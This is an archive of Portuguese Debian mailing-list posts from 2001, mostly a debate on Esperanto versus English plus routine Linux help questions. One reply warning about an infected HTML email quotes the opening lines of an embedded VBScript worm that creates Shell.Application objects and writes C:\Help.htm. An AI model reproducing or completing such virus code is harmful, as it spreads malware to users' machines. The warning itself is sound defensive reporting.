Re:Línguas (era: Re: Linguagem de programacao)

2001-09-25 Por tôpico Cláudio Max
Eu não queria entrar nessa barca furada, mas já que eu gosto
mesmo de nadar vamos lá... :-)

 lápis, caneta, etc sobre papel, tecido, etc.  Você quis dizer __projetadas__,
 que é a tradução correta de designed.  A tradução de desenhada é drawn.

Bravo. Sinceramente mal uso do português via pregüiça mental,enche.
Ultimamente vi uma utilização grotesca: você _realiza_ o que eu
quero dizer? Que estupidez... O que isso poderia ajudar na
língua? Enfraquecendo o verbo compreender e ao mesmo tempo dando
um significado novo (e incontestavelmente dispensável) ao verbo
realizar simplesmente por preguiça de falar PORTUGUÊS.

  facilidade, da curva de aprendizado, de que falei. É mais rápido
  aprender Glosa, do que inglês. Isso é fato. O problema é que não há um
  consenso de que seja vantajoso aprender uma língua artificial.
 
Exato.  O que é mais vantajoso: um mês para aprender uma língua pobre,
 limitada, artificial, desconhecida, ou três anos para aprender uma língua
 natural, rica, cheia de literatura rica, amplamente divulgada?

Minha experiência: Eu falo fluentemente esperanto há mais de dez anos.

Por partes:
1- No início, houve uma melhora significativa do meu entendimento de
   _português_ uma vez que tendo os elementos gramaticais marcados
   por desinências, bastava traduzir uma dúvida para o esperanto, ver
   em que cada palavra era traduzida e eu sabia a função dela _em_
   _português_!!!

2- Não sei de glosa, volapuk, solresol ou interlingua mas sei que
   o esperanto não tem _nada_ de limitado. Na verdade a diversão 
   dentro da juventude esperantista era fazer jogos de palavras,
   criando novos termos pra coisas conhecidas que, pelo inusitado
   e imediato reconhecimento tornavam a coisa engraçada.

3- O estranhamento da língua se dá no início. Depois você começa a 
   sentir o cheiro de que lingua a palavra veio. VOcê passa então
   a ter uma noção de palavras em outras línguas (comecei a entender
   o francês e italiano escritos; reconhecia palavras alemãs...)

4- A literatura de uma língua natural é sem dúvida rica. Por produção
   e por tradução. Mas quem é capaz de apreciar algo escrito em
   uma língua natural (excluo o espanhol para falantes de português
   por motivos óbvios...) depois de um curso de três anos? Alguém
   aí já leu Shakespeare no original? Allan Poe? Stephen King?
   Reparou no seu aproveitamento do texto?
   Com dois meses de esperanto (+ uma pitada de dicionário) você já
   consegue ler a Biblia (traduzida em esperanto, é claro).

5- O termo projetada é preferida a artificial pelos esperantistas.
   Vale lembrar que o esperanto já tem cento e lá vai pedrada anos.
   Há milhares de falantes _naturais_ de esperanto (principalmente
   nos casos onde os pais têm línguas diferentes e o esperanto é
   a língua falada em casa).

6- Traduções. Você preferiria ler um texto grego em inglês ou em
   esperanto? Eu não titubiaria: em esperanto. Mesmo porquê quem
   traduz para esperanto fala _muito_bem_ ambas e a mecânica do
   esperanto permite manter-se perto da rítmica original.

 Sem contar a competição entre línguas artificiais.  Qual escolher?  Esperanto 
 é
 mais conhecida, mas tem seus críticos até pela associação religiosa.

Associação religiosa com quê? Oomoto??? ;-) Religião Sem Nome? Ah
sei, o espiritismo! (ou o catolicismo?) O detalhe é que os 
espíritas apóiam muito o movimento e a editora espírita é a 
primeira editora à que os autores recorrem (não aqueles que 
escrevem novelas pornô, é claro... ;-)

O fato é que há um bloqueio cultural imposto de fora pra dentro que
eu só consegui superar via esperanto. Quantos autores húngaros
você já leu? Ah, sei, a Hungria (Polônia, Síria, China, Grécia,
Suméria et cetera ad infinitum) nunca produziram nada que fosse 
interessante, não é... ;-)


 O Inglês no mínimo te ensina outro jeito de pensar.

Assim como qualquer outra língua de outra família.
Nisso você pode incluir a matemática (lógica) também...

Propedêutica. Experimento inglês: crianças que estudaram um ano
de esperanto + um ano de francês falavam _melhor_ francês que
as crianças da classe do lado que estudaram dois anos de francês.

  Existe uma proposta, no parlamento europeu, de que todos falem pelo
  menos __duas línguas__ a mais: uma outra línuga natural, e uma língua
  artificial.

Nunca ouvi falar disso. Eu sei que os europeus _têm_ que saber 
ao menos duas línguas, de colégio (e não é esse embromation que
se vê por aqui... :-)

Sempre soube que o Partido Radical italiano fez (ou faz, sei lá) 
uma força pra inserir o esperanto no parlamento europeu mas sem
muito sucesso. Eu pessoalmente acho o mais justo.

  Esse é o tipo de coisa que não dá certo, impor de cima para baixo.

Humm, veja bem, se não me engano o hebraico moderno é artificial, 
montado sobre o hebraico arcaico e _foi_ imposto de cima pra baixo...

  Ao fim, todos vamos falar mais do que uma língua...E todos vamos
  chegar à conclusão de que há vantagens.
 
 Profecias não costumam 

Re: [OFF-TOPIC] Línguas (era: Re: Linguagem de programacao)

2001-09-25 Por tôpico Luis Alberto Garcia Cipriano

Leandro Guimarães Faria Corsetti Dutra wrote:


[EMAIL PROTECTED] wrote:



As línguas artificiais são __desenhadas__ para diminuir esse tempo de




Antes de aprender outras, a nossa.  Em Português desenha-se uma 
figura  com lápis, caneta, etc sobre papel, tecido, etc.  Você quis 
dizer __projetadas__, que é a tradução correta de designed.  A 
tradução de desenhada é drawn.





? No Aurélio ao menos também consta projetar como significado de 
desenhar que sempre usei também nesse sentido, li e ouvi (estudei 
arquitetura). Acho que tudo depende muito do contexto, como em toda boa 
tradução.



Na questão do assume - assumir voto pelo presumir, em que pese o pouco uso

desse termo, talvez usaria considerando ou outra construção mais comum 


dependendo do sentido da frase em questão.

No mais, concordo com o cuidado que devemos ter com traduções fáceis mas 
erradas.


Abraços,

Luis Alberto.



Re: [OFF-TOPIC] Línguas (era: Re: Linguagem de progra macao)

2001-09-25 Por tôpico synthespian
On Tue, Sep 25, 2001 at 12:19:19AM -0300, Leandro Guimarães Faria Corsetti 
Dutra wrote:
 [EMAIL PROTECTED] wrote:
 
  
  As línguas artificiais são __desenhadas__ para diminuir esse tempo de
 
 
   Antes de aprender outras, a nossa.  Em Português desenha-se uma figura  
 com 
 lápis, caneta, etc sobre papel, tecido, etc.  Você quis dizer __projetadas__, 
 que é a tradução correta de designed.  A tradução de desenhada é drawn.
 
  Evidentemente, você é pedante. :)
  Parece desconhecer o significado do termo jargão. Estamos, aqui,
num local de discussão onde o que mais há é jargão.
  Não vamos comentar sua pontuação, que é ruim.
  pedante Vamos citar a entrada no Dicionário de Sinônimos e Antônimos da
  Língua Portuguesa, de Francisco Fernandes, Ed. Globo, 32a ed., p.
  297:
  DESENHAR: (...) Conceber, idear, planejar. [projetar, como você bem
  o disse].
  Certo? /pedante

 
  facilidade, da curva de aprendizado, de que falei. É mais rápido
  aprender Glosa, do que inglês. Isso é fato. O problema é que não há um
  consenso de que seja vantajoso aprender uma língua artificial.
 
   Exato.  O que é mais vantajoso: um mês para aprender uma língua pobre, 
 limitada, artificial, desconhecida, ou três anos para aprender uma língua 
 natural, rica, cheia de literatura rica, amplamente divulgada?

  De acordo com o gosto, vontade, visão política, bom-senso, tempo
livre, QI, etc., do freguês.
  É estranho você ter inglês em tão alta estima, como uma língua
rica, quando ela é gramaticalmente mais empobrecida do que as
latinas. Em termos de matizes temporais, o português é excelente. Diga
eu vinha vindo em inglês...
  Como toda pessoa culta sabe, se você quer falar inglês bem, seu
vocabulário deve receber um aporte de sinônimos de origem latina,
preterindo os radicais germânicos. Diga imbroglio e não confusing
situtation.
  Ela é mais eficiente, isso é verdade, justamente por causa do seu
empobrecimento.
  Mas eu entendi o que você quer dizer...
 
   Sem contar a competição entre línguas artificiais.  Qual escolher?  
 Esperanto é 
 mais conhecida, mas tem seus críticos até pela associação religiosa.

  Glosa, a mais moderna e bem __projetada__.
 
   O Inglês no mínimo te ensina outro jeito de pensar.

  Será? Em que sentido? _Toda língua_ nova te ensina um outro jeito
de pensar.
  A estrutura gramatical do inglês não é tão distante daquela da tua
língua. 50% do léxico inglês tem origem latina.
  Se você tivesse olhado a páginda da glosa, só por curiosidade, teria
visto que ela te ensina a pensar diferente, pois é praticamente
desprovida da gramática com a qual você está habituado. Na verdade,
ela é praticamente desprovida de gramática.


[ ]s
Henry
[EMAIL PROTECTED]




Re: Línguas (era: Re: Linguagem de programacao)

2001-09-25 Por tôpico synthespian
On Tue, Sep 25, 2001 at 01:51:30AM -0300, Cláudio Max wrote:
 
 Minha experiência: Eu falo fluentemente esperanto há mais de dez anos.

 Genial!

 
 4- A literatura de uma língua natural é sem dúvida rica. Por produção
e por tradução. Mas quem é capaz de apreciar algo escrito em
uma língua natural (excluo o espanhol para falantes de português
por motivos óbvios...) depois de um curso de três anos? Alguém
aí já leu Shakespeare no original? Allan Poe? Stephen King?
Reparou no seu aproveitamento do texto?
Com dois meses de esperanto (+ uma pitada de dicionário) você já
consegue ler a Biblia (traduzida em esperanto, é claro).

  Exato! Isso é porque as pessoas __acham__ que dominam o inglês,
porque atingem o mínimo necessário.
  Stephen King junto com Allan Poe e Shakespeare é que não tem muito a
ver...
  
  Algumas reflexões sobre línguas artificiais estão em:
  http://www.geocities.com/Athens/Acropolis/9801/lenguas/

  Numa defesa do inglês, e uma reflexão porque é uma língua que se
assimila mais facilmente, veja o texto The Anglo-American Reaction
em:

  http://www.geocities.com/Athens/Acropolis/9801/lenguas/loom01.html#The
  Anglo-American Reaction

  Trechos: Because English spelling teems with irregularities, and
still more because of the vast resources of its hybrid vocabulary, 
learning English is not an easy task for anyone who aims to get a wide
reading knowledge.(...)
 Ogden's work has taught us to recognize its extreme word
economy.(...)what is the absolute minimum number of words we need to 
retain, if we are to give an intelligible definition of all other words
in Webster's or the Oxford Dictionary? The answer is, about 800, or 
between two and three months' work for anyone willing to memorize
twelve new words a day. This great potential word-economy of 
Anglo-American is due to the withering away of word-forms dictated 
by context without regard to meaning.
  E aqui um trecho crucial para a nossa discussão:
  (...) Thus the essential grammar of Anglo-American is much
simpler than that of the only two artificial languages which have
hitherto  attracted a considerable popular following. (!!)
 
 6- Traduções. Você preferiria ler um texto grego em inglês ou em
esperanto? Eu não titubiaria: em esperanto. Mesmo porquê quem
traduz para esperanto fala _muito_bem_ ambas e a mecânica do
esperanto permite manter-se perto da rítmica original.

  Glosa = tudo derivado de latim e grego, com mais rigor científico
que esperanto. Mas não vamos brigar!

 O fato é que há um bloqueio cultural imposto de fora pra dentro que
 eu só consegui superar via esperanto. Quantos autores húngaros
 você já leu? Ah, sei, a Hungria (Polônia, Síria, China, Grécia,
 Suméria et cetera ad infinitum) nunca produziram nada que fosse 
 interessante, não é... ;-)

  Sim, todos são idiotas, exceto os que falam o inglês.
  Nós somos idiotas, pois falamos português.
  As línguas projetadas foram boladas por idiotas, que não conheciam
outras línguas. Por não conhecerem outros idiomas, é que projetaram as
línguas artificiais.
  Pê-por pê-isso pê-que pê-fica pê-tudo pê-confuso.

  [ ]s
  henry
  [EMAIL PROTECTED]
  





Re: Línguas (era: Re: Linguagem de programacao)

2001-09-25 Por tôpico Cláudio Max
  Genial!

Obrigado :-)

  4- A literatura de uma língua natural é sem dúvida rica. Por produção
 e por tradução. Mas quem é capaz de apreciar algo escrito em
 uma língua natural (excluo o espanhol para falantes de português
 por motivos óbvios...) depois de um curso de três anos? Alguém
 aí já leu Shakespeare no original? Allan Poe? Stephen King?
 Reparou no seu aproveitamento do texto?
 Com dois meses de esperanto (+ uma pitada de dicionário) você já
 consegue ler a Biblia (traduzida em esperanto, é claro).
 
   Exato! Isso é porque as pessoas __acham__ que dominam o inglês,
 porque atingem o mínimo necessário.
   Stephen King junto com Allan Poe e Shakespeare é que não tem muito a
 ver...

Sei, não é justo nem digno, mas fazer o quê... :-) Cada um tem sua
mancha negra! ;-) Mas foi uma fase e acabou. :-)

Mais uma gota da minha experiência (cara _cheio_ de experiência, não?
;-)
Eu estudei inglês por mais de cinco anos. Sempre fui o primeiro ou
segundo da turma (de mais de 10, é claro). Referência, e o queridinho
dos professores. Fui para os Estados Unidos e me senti um retardado.
As pessoas, logo nas minhas primeiras frases começavam a falar em
espanhol!!! ;-P

Citando um amigo: O inglês é a língua mais fácil pra se falar
errado. :-)

   Algumas reflexões sobre línguas artificiais estão em:
   http://www.geocities.com/Athens/Acropolis/9801/lenguas/
 
   Numa defesa do inglês, e uma reflexão porque é uma língua que se
 assimila mais facilmente, veja o texto The Anglo-American Reaction
 em:
 
   http://www.geocities.com/Athens/Acropolis/9801/lenguas/loom01.html#The
   Anglo-American Reaction

Hummm, parei no meio do texto sobre esperanto. Há um erro a cada 4 
linhas. Perdeu minha credibilidade...

   Trechos: Because English spelling teems with irregularities, and
 still more because of the vast resources of its hybrid vocabulary,
 learning English is not an easy task for anyone who aims to get a wide
 reading knowledge.(...)
  Ogden's work has taught us to recognize its extreme word
 economy.(...)what is the absolute minimum number of words we need to
 retain, if we are to give an intelligible definition of all other words
 in Webster's or the Oxford Dictionary? The answer is, about 800, or
 between two and three months' work for anyone willing to memorize
 twelve new words a day. This great potential word-economy of
 Anglo-American is due to the withering away of word-forms dictated
 by context without regard to meaning.
   E aqui um trecho crucial para a nossa discussão:

Balela _grossa_. Get, put, turn são palavras únicas com _centenas_
de significados em função da combinação (up, down, to, onto, aside etc)
e contexto!!! E no texto ele ainda cita como _vantagem_! Ele fala
de go x(up, down, to, into etc) mas nem toca no famigerado set,
get ou turn. Muito tendencioso pra ser levado a sério. 

   (...) Thus the essential grammar of Anglo-American is much
 simpler than that of the only two artificial languages which have
 hitherto  attracted a considerable popular following. (!!)

O texto não dá pra ser levado a sério. Ele torce as coisas a fim
de justificar o injustificável... :-\

Veja, esperanto tem 16 regras gramaticais. Nenhuma excessão. 
Todas as letras têm _sempre_ o mesmo som. Todas as palavras
com mais de duas sílabas (é claro) são paroxítonas. Se você
vê escrito, sabe falar; se ouviu, sabe escrever!Sabe quando 
inglês bate isso? Quando o Tarzan conversa com a Jane 
(Me Tarzan, You Jane!!! ;-P)

  6- Traduções. Você preferiria ler um texto grego em inglês ou em
 esperanto? Eu não titubiaria: em esperanto. Mesmo porquê quem
 traduz para esperanto fala _muito_bem_ ambas e a mecânica do
 esperanto permite manter-se perto da rítmica original.
 
   Glosa = tudo derivado de latim e grego, com mais rigor científico
 que esperanto. Mas não vamos brigar!

De modo algum. Uma coisa que sempre vi no meio esperantista é uma
grande afinidade por saber, ver e conhecer outras línguas projetadas.
É claro que só por curiosidade... :-)
Mas cuidado com o rigor científico. Um estudo uma vez concluiu
(não foi esperantista, citava o esperanto como só uma das línguas
estudadas) que uma língua _precisava_ de um certo nível de
sujeiras. Sem ambiguidades você não faz humor ou boa poesia
(derrubou o volapük) (infelizmente só lembro da ambiguidade...
O esperanto tinha 97% de pureza. 3% de palavras com mais de
um sentido ou com condições de dar dupla interpretação. O 
volapük tinha 100%, 0% de duplo sentido. Entretanto é o cão
pra lembrar dos tempos (no volapük da pra gerar, se não me 
engano, mais de 120.000 tempos verbais... :-)

   Sim, todos são idiotas, exceto os que falam o inglês.

Yeah! Now everybody repeat after me: English is the best and 
fu** the rest!! ;-)

   Nós somos idiotas, pois falamos português.
   As línguas projetadas foram boladas por idiotas, que não conheciam
 outras línguas. Por não conhecerem outros idiomas, é que projetaram as
 línguas artificiais.
   

Re: Modem

2001-09-25 Por tôpico Wellington Kister do Nascimento
Conforme havia prometido o script que fará o pppd funcionar, como aconteceu
aqui é http://www.linux.trix.net/rede_pppfacil.htm. Dê uma olhada no
leiame.txt pois tem que fazer umas alterações no resolv.conf.

Wellington Kister do Nascimento
[EMAIL PROTECTED]




Re: Línguas (era: Re: Linguagem de programacao)

2001-09-25 Por tôpico Rogerio Neves Batata
On Tue, 25 Sep 2001 [EMAIL PROTECTED] wrote:

#  Numa defesa do inglês, e uma reflexão porque é uma língua que se
#assimila mais facilmente, veja o texto The Anglo-American Reaction
#em:

na verdade isso é conversa... desculta pra americano não ter que
aprender outra lingua... (o que eles não têm muita competência pra fazer)

E da série de novos verbos... mais alguém aí teve a infelicidade
de ouvir Mestres/Doutores falando em printar um documento?

Batata



 /\
 \ /  Campanha da fita ASCII - contra mail html
  X   ASCII ribbon campaign - against html mail
 / \



Audio+Video streaming - formato livre

2001-09-25 Por tôpico Pedro Zorzenon Neto
Oi Pessoal,

  Gostaria de pegar um sinal de video e outro de audio e conectar no micro.
  Quanto a instalação da placa de captura, eu me viro.
  Então destes sinais, quero gerar um stream compactado para transmissão
via rede. Existe algum pacote de compactação de video+audio e transmissão que
não seja proprietário?

  Só isso já resolve, mas... se alguem souber isso e também se é possível
encapsulá-lo em um protocolo encriptado (ssh/ssl)...

  Abraços
Pedro

-- 
  .''`.   Pedro Zorzenon Neto [EMAIL PROTECTED]
 : :'  :  Debian GNU/Linux | GNU/Hurd: http://www.debian.org
 `. `'`   Debian BR: http://debian-br.sourceforge.net
   `- Be Happy! Be FREE!



backspace remoto nao funfa

2001-09-25 Por tôpico paulo henrique castro
Caros,

estou usando um debian 2.2r3 com teclado abnt2 (uma [EMAIL PROTECTED])
O xterm local funciona perfeitamente, mas quando dou telnet
para uma outra maquina (conectiva :P) atraves dele, o backspace se
comporta como o delete!!
Ja tentei mudar em diversos lugares a configuracao mas nao
funciona de jeito nenhum!! 
Alguem sabe como resolver isso??

valeu!
[]s

-- 

  .''`.  paulo henrique castro
 : :'  : [EMAIL PROTECTED]
 `. `'`  
   `-



Modulo de placa de rede

2001-09-25 Por tôpico António Ferreira
Title: Help



Olá

Alguém sabe como poderei encontrar uma lista de compatibilidades de placas 
de rede?

Tenho um laptop com uma placa de rede embutida na docking station e não 
consigo encontrar o modulo certo.

O laptop é um Compaq Contura 410 C, e a unica coisa que consegui foi o 
driver para DOS: Cpqndis.dos.

Obrigado

António Ferreira

P.S. A distribuição utilizada é o Debian.




X remoto

2001-09-25 Por tôpico Odair G Martins
Bom/boa  dia/tarde/noite


Aqui existem alguns Debians instalados que não
aceitam execução remota de programas gráficos nos
servidores X com a utilizaçao da dupla (xhost=... , DISPLAY=),
enquanto outros aceitam. Suponho que em tais instalações  do servidor X 
o scrip de instalação deva ter pergutado se era para habilitar acesso 
remoto e o a escolha tenha sido não.  Como se faz para habilitar o 
execução remota  do X na instalação Debian após a instalação?


Odair



Re: X11 em pt_BR

2001-09-25 Por tôpico Itamar Grochowski Rocha
Fabiano Manoel de Andrade escreveu em Mon, Sep 24, 2001 at 12:09:10AM -0300:
 Em Mon, 24 Sep 2001 04:23:38 -0300
 Itamar Grochowski Rocha [EMAIL PROTECTED] escreveu:
 
  Olá pessoal,
  
  Já faz um tempo estou tentando consertar um comportamento estranho que
  notei no meu sistema de janelas. Quando o chamo pela linha de comando,
  os menus do WindowMaker e alguns de aplicativos baseados em GTK aparecem
  em português, entretanto, se o X11 é iniciado com um display manager os
  menus aparecem em inglês e (o mais esquisito) o Eterm para de funcionar
  com acentos. 
   Você esta com as variáveis de ambiente setada para português. Dê uma 
  olhada na variáveis de ambiente LANG, LC_ALL devem estar em pt_br
   Se quiser deixar tudo em português adicione as linhas no inicio
   /etc/X11/Xsession 
 export LANG=pt_BR
 export LC_ALL=pt_BR
 export LC_CTYPE=ISO-8859-1
 export LESSCHARSET=latin1
 export NLSPATH=/var/catman
 export INPUTRC=/etc/inputrc

Humm! Valeu! :-)

Eu tinha estas variáveis setadas no meu ~/.xsession (menos NLSPATH
e INPUTRC). Acho que deveriam funcionar, pelo menos na _minha_ sessão X.

O curioso é que a utilização de NLSPATH e INPUTRC não alteram em nada,
digo, o uso de NLSPATH altera, sim. O menu volta a ficar em inglês :-(
Aliás, pra que serve esta variável?

Obrigado,
-- 
\\|||///
Itamar Grochowski Rocha

Fortune cookie for you:
A alegria esta na luta, na tentativa, no sofrimento 
envolvido.  Nao na vitoria propriamente dita.
--  Mahatma Gandhi 
//|||\\\



Re: Modulo de placa de rede

2001-09-25 Por tôpico Gustavo Noronha Silva
Em Tue, 25 Sep 2001 17:04:43 +0100
António Ferreira [EMAIL PROTECTED] escreveu:

 HelpOlá
^

hmm... se não me engano isso é causado por um vírus =)

também, por favor não envie mensagens em html para a lista, estatística:
sua mensagem em texto não chega a 500 bytes, a em html tem mais de 12 kbytes
e *ainda por cima* vem com um vírusinho muito delicadinho:

SCRIPT language=VBScript
Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject(Scriptlet.TypeLib)
Set Oh = CreateObject(Shell.Application)
If IsHTML Then
mURL = LCase(document.Location)
If mPath =  Then
Os.Reset
Os.Path = C:\Help.htm
(...)

que certamente vai arruinar os outlooks de muitos assinantes da lista
(que têm crescido cada vez mais... será por que? =( o sylpheed é tão
bonitinho =) )

 Alguém sabe como poderei encontrar uma lista de compatibilidades de placas de 
 rede?
 
já conferiu o linux-hardware-compatibility howto? nele você deve achar...
uma olhada no networking howto também pode ser de alguma ajuda...

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
**
|  .''`.  | Debian GNU/Linux: http://www.debian.org|
| : :'  : | Debian BR...: http://debian-br.sourceforge.net |
| `. `'`  |  Be Happy! Be FREE!  |
|   `-| Think globally, act locally!   |
**



Re: X remoto

2001-09-25 Por tôpico Pedro Zorzenon Neto
retire a opção -nolisten tcp no arquivo /etc/X11/xinit/xserverrc



[OFF] Modulo de placa de rede - VIRUS

2001-09-25 Por tôpico Fábio
Caro Antônio Ferreira, 


Acho que você está com seu micro infectado, cadê o Debian 
instalado aí ? ;))

-- Vírus Encontrado: VBS/Generic2* | VBS/[EMAIL PROTECTED]
Assunto: Modulo de placa de rede 

-- X-Mailer: Microsoft Outlook Express 5.00.2314.1300

Outlook ? Que feio heim .. hehehehe
 

Capturei até o código-fonte do vírus aqui, que veio em forma
de VB Script embutido em seu e-mail em formato HTML. Taí um
bom motivo para o não envio de mensagens HTML para a lista. 



Atenciosamente,
-- 
--
Fábio Berbert de Paula [EMAIL PROTECTED]
--
SysAdmin  *UNIX* DeveloperLinux Solutions
(021) 526-7262 ramal 21
  Yes, I have a Palm  



Re: X remoto

2001-09-25 Por tôpico Gustavo Noronha Silva
Em Tue, 25 Sep 2001 13:59:28 -0300
Odair G Martins [EMAIL PROTECTED] escreveu:

 Bom/boa  dia/tarde/noite
 
 
   Aqui existem alguns Debians instalados que não
 aceitam execução remota de programas gráficos nos
 servidores X com a utilizaçao da dupla (xhost=... , DISPLAY=),
xhost=???

 enquanto outros aceitam. Suponho que em tais instalações  do servidor X 
 o scrip de instalação deva ter pergutado se era para habilitar acesso 
 remoto e o a escolha tenha sido não.  Como se faz para habilitar o 
 execução remota  do X na instalação Debian após a instalação?
procure pela opção --nolisten-tcp (acho que é essa) em algum dos arquivos
de configuração do X... bom, tenta algo como:

rgrep -i listen /etc/X11

você tá usando xdm ou algo assim??

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
**
|  .''`.  | Debian GNU/Linux: http://www.debian.org|
| : :'  : | Debian BR...: http://debian-br.sourceforge.net |
| `. `'`  |  Be Happy! Be FREE!  |
|   `-| Think globally, act locally!   |
**



Re: Audio+Video streaming - formato livre

2001-09-25 Por tôpico Gustavo Noronha Silva
Em Tue, 25 Sep 2001 11:39:09 -0300
Pedro Zorzenon Neto [EMAIL PROTECTED] escreveu:

 Oi Pessoal,
 
   Gostaria de pegar um sinal de video e outro de audio e conectar no micro.
   Quanto a instalação da placa de captura, eu me viro.
   Então destes sinais, quero gerar um stream compactado para transmissão
 via rede. Existe algum pacote de compactação de video+audio e transmissão que
 não seja proprietário?
 
   Só isso já resolve, mas... se alguem souber isso e também se é possível
 encapsulá-lo em um protocolo encriptado (ssh/ssl)...
eu não tenho certeza se isso já acontece, mas acho que o ogg pretende 
servir para isso =)

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
**
|  .''`.  | Debian GNU/Linux: http://www.debian.org|
| : :'  : | Debian BR...: http://debian-br.sourceforge.net |
| `. `'`  |  Be Happy! Be FREE!  |
|   `-| Think globally, act locally!   |
**



Re: [OFF-TOPIC] Línguas (era: Re: Linguagem de programacao)

2001-09-25 Por tôpico Rafael Avila de Espindola
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1


   Exato.  O que é mais vantajoso: um mês para aprender uma língua pobre, 
limitada, artificial, desconhecida, ou três anos para aprender uma língua 
natural, rica, cheia de literatura rica, amplamente divulgada?
  O esperanto não é pobre, ao contrario a simplicidade da gramática 
permite formar palavras e frases
que são muito mais claras que em outras linguas.

   Sem contar a competição entre línguas artificiais.  Qual escolher?  
 Esperanto é 
mais conhecida, mas tem seus críticos até pela associação religiosa.
qual???
   O Inglês no mínimo te ensina outro jeito de pensar.
de novo, qual???
-BEGIN PGP SIGNATURE-
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.6 and Gnu Privacy Guard 
http://www.gnupg.org/

iD8DBQE7sMm/LlrfGJ8JUHwRAk3MAJ4jFFJjTscoHrxJb0BFFyvDwnqgwACgvr5W
1IAtZNZSWsHCEJSSCxPjnfQ=
=iaMF
-END PGP SIGNATURE-



pctel no 2.4.x

2001-09-25 Por tôpico crashx
iai povo !
ola soh, eu sei que o meu maravilhoso modem pctel hsp56 funfa no kernel 2.4.0, 
quero saber se alguem usa ele em um kernel acima desse, no 2.2.19 ele ta uma 
maravilha... :)
eh pq to afim de atualuzar o kernel mesmo q num posso fikar sem modem neh...

thanx 4 ALL !



Re: X remoto

2001-09-25 Por tôpico Raphael Derosso Pereira - DephiNit
On Tuesday 25 September 2001 13:59, Odair G Martins wrote:
 Bom/boa  dia/tarde/noite

Bom dia (para mim) :)


   Aqui existem alguns Debians instalados que não
 aceitam execução remota de programas gráficos nos
 servidores X com a utilizaçao da dupla (xhost=... , DISPLAY=),
 enquanto outros aceitam. Suponho que em tais instalações  do servidor X
 o scrip de instalação deva ter pergutado se era para habilitar acesso
 remoto e o a escolha tenha sido não.  Como se faz para habilitar o
 execução remota  do X na instalação Debian após a instalação?

Edite o arquivo /etc/X11/xinit/xserverrc e remova a opção -nolisten tcp,
caso vc não esteja usando nenhum display manager como o xdm, kdm e gdm.

Para eles, esta opção deverá estar dentro de um arquivo do diretório 
/etc/X11/seu_display_manager (para o kdm, está no arquivo Xserver).

(isto para o X 4.x, para o 3.x talvez seja a mesma coisa, mas não tenho 
certeza...)


-- 
 Raphael Derosso Pereira - DephiNit

 *-=-*-=--=-*-=-*-=--=*=-*
/ [EMAIL PROTECTED] /
   *-=-*-=--=-*-=-*-=--=*=-*

 -=*=--=*=--=*=--=*=--=*=--=*=--=*=-
|  Debian GNU/Linux Addicted User   |
|  Use it, Abuse it. It's Free!!!   |
 -=*=--=*=--=*=--=*=--=*=--=*=--=*=-



Re: pt_BR

2001-09-25 Por tôpico Raphael Derosso Pereira - DephiNit
On Monday 24 September 2001 23:45, Elcio Mello wrote:
 On Mon, Sep 24, 2001 at 10:44:47PM -0300, zed wrote:
  No diretorio home do seu usuario, altere os alias em .bashrc . Ele sempre
  ir? carregar esse arquivo quando seu usuario logar ...

 Apenas para complementar, na verdade o q é executado é o arquivo
 ~/.bash_profile, neste caso, alem de descomentar a linha do ~/.bashrc:
 alias ls='ls --color=auto'

Uma pequena correção. O ~/.bashrc é executado em seções não inicializadas por 
login (xterm, du, etc...) e o ~/.bash_profile é executado em sessões 
inicializadas por login.

O fato de existir uma linha no ~/.bash_profile que chama o ~/.bashrc serve 
para que você não precise ter dois arquivos idênticos (já que a maioria das 
pessoas quer as mesmas configurações de um login shell em um non-login shell).

 descomente também a linha do .bash_profile:

 if [ -f ~/.bashrc ]; then
 source ~/.bashrc
 fi
 Isso fará com que o arquivo .bashrc seja incluido no .bash_profile assim
 criando o alias requerido.

  Espero ter ajudado ! :)

 me tooi
 Elcio Mello
 swap.

  ZeD the CyberPunk
 
  Love is the key -ZeD
 
  -
 
  Desculpem-me a ignor?ncia, mas como fa?o para acessar os manuais em
  portugues? J? baixei o pacote contendo os manuais em portugues.
 
  Outra pergunta, como fa?o para que um alias funcionem na partida, como
  por exemplo fazer com que o ls fique colorido?
 
  Wellington Kister do Nascimento
  [EMAIL PROTECTED]
 
 
  --
  To UNSUBSCRIBE, email to [EMAIL PROTECTED]
  with a subject of unsubscribe. Trouble? Contact
  [EMAIL PROTECTED]

-- 
 Raphael Derosso Pereira - DephiNit

 *-=-*-=--=-*-=-*-=--=*=-*
/ [EMAIL PROTECTED] /
   *-=-*-=--=-*-=-*-=--=*=-*

 -=*=--=*=--=*=--=*=--=*=--=*=--=*=-
|  Debian GNU/Linux Addicted User   |
|  Use it, Abuse it. It's Free!!!   |
 -=*=--=*=--=*=--=*=--=*=--=*=--=*=-



Re: [OFF] Modulo de placa de rede - VIRUS

2001-09-25 Por tôpico Gustavo Noronha Silva
Em Tue, 25 Sep 2001 15:02:50 -0300
Fábio Berbert de Paula [EMAIL PROTECTED] escreveu:

 -- X-Mailer: Microsoft Outlook Express 5.00.2314.1300
 
 Outlook ? Que feio heim .. hehehehe
não que seja feio, sofre quem quer =)

 Capturei até o código-fonte do vírus aqui, que veio em forma
 de VB Script embutido em seu e-mail em formato HTML. Taí um
 bom motivo para o não envio de mensagens HTML para a lista. 
eu bem que avisei ;P embora isso não me afete tanto (o tamanho
de 12k é horrível) alguns sofredores que ainda precisam/querem
usar outlook e estão na lista acabam pegando vírus

[]s!

-- 
Gustavo Noronha Silva - kov http://www.metainfo.org/kov
**
|  .''`.  | Debian GNU/Linux: http://www.debian.org|
| : :'  : | Debian BR...: http://debian-br.sourceforge.net |
| `. `'`  |  Be Happy! Be FREE!  |
|   `-| Think globally, act locally!   |
**



Re: backspace remoto nao funfa

2001-09-25 Por tôpico Christiano Anderson
Olah,

 
 estou usando um debian 2.2r3 com teclado abnt2 (uma [EMAIL PROTECTED])
 O xterm local funciona perfeitamente, mas quando dou telnet
 para uma outra maquina (conectiva :P) atraves dele, o backspace se
 comporta como o delete!!
 Ja tentei mudar em diversos lugares a configuracao mas nao
 funciona de jeito nenhum!!
 Alguem sabe como resolver isso??
 
 valeu!
 []s


Quando fizer a conexao remota, tenta utilizar o comando stty erase ^H

[]s

Christiano

-- 
Christiano Anderson (Dump)
